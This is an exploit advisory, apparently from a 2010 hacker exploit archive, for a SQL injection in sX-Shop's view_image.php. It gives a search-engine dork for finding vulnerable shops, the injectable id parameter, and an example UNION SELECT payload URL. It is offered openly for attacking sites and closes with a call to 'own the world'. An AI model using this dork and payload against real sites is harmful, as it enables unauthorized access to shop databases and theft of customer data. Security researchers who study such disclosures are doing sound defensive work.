#############################################################################################################
## sX-Shop / view_image.php SQL Injection ##
## Author : secret - mohammed.atta@hotmail.com ##
## Homepage : http://swissfaking.net/ ##
## Date : 05 August, 2010 ##
#############################################################################################################
____ ____ _____ ___ ____ ______ ____ ___ ___ _ __
/ __// __// ___// _ \ / __//_ __/ / _// _ \ / _ | / |/ /
_\ \ / _/ / /__ / , _// _/ / / _/ / / , _// __ | / /
/___//___/ \___//_/|_|/___/ /_/____/___//_/|_|/_/ |_|/_/|_/
/___/
####################################################
# sX-Shop / view_image.php SQL Injection
####################################################
# Discovered by : secret
# Site : http://swissfaking.net/
# Dork : powered by sX-Shop ; inurl:"view_image.php" intext:sX-Shop
# Vendor : http://www.source-worx.de/
# Version : *newest version*
# Exploit : [site]/shop/view_image.php?id=[SQL Injection]
# Tested on : XP - Linux
e.g. http://www.site.com/shop/view_image.php?id=416+and+1=0+Union+Select(UNEXVISIBLECOLUMN)+2+3
########################################################################################
#note : IRAN owns ;-) - to all iranian Hackers in the world, add me and let's own the world ;)
